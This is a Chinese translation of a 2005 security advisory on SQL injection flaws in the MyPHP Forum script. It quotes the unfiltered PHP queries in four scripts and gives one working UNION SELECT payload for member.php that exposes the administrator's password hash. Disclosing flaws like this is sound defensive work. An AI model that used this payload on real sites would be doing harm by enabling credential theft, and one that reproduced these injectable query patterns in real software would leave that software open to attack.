|
发布日期:2005-2-9 8:17AM 发布作者:foster GHC <foster ghc ru> 信息 ID:<20050209081714.15780.qmail@www.securityfocus.com> 资料来源:http://www.securityfocus.com/archive/1/389864/2005-02-09/2005-02-15/0 官方地址:http://www.myphp.ws 漏洞类型:SQL注入
产品描述: MyPHP论坛是一个有限制特征的简单的信息布告栏脚本。
摘要: 几处SQL注入漏洞将会导致敏感信息,包括用户密码散列的泄露。
细节:用户outbound变量的肯定部分用于SQL查询时存在SQL注入漏洞。
[1]脚本:forum.php
代码: $query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid='$fid'") or die(mysql_error()); $nav = mysql_fetch_array($query);
通过$fid变量没有过滤可以SQL注入
[2]脚本:member.php
代码: if($action == "viewpro") { $member = $HTTP_GET_VARS['member']; $sql = "SELECT * FROM $db_member WHERE username='$member'"; $query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die("cant execute $sql"); $member = mysql_fetch_array($query);
SQL代码注入 member.php?action=viewpro&member=[SQL code]
利用方法: member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password, status, email, website, aim, msn, location, sig, regdate, posts, password as yahoo FROM nb_member WHERE uid='1 将会显示管理员的名字和密码散列(在"Yahoo"字段里)
密码被encrypt()函数加密
代码: function encrypt($string) { $crypted = crypt(md5($string), md5($string)); return $crypted; }
[3]脚本:forgot.php
代码: $email = $_REQUEST['email']; if (isset($email)) { $sql="SELECT * FROM $db_member WHERE email='$email'"; ... $result = mysql_query("SELECT username FROM $db_member WHERE email='$email'"); $username = mysql_result($result, 0); $msg = " Hello $username, $email参数没有过滤
影响:通过此变量进行SQL注入
[4]脚本:include.php 这个脚本最重要,它是其他所有脚本的一部份。 $nbuser & $nbpass 变量没有过滤。
代码: $query = mysql_query("SELECT * FROM $db_member WHERE username='$nbuser'")
影响:通过$nbuser进行SQL注入。 |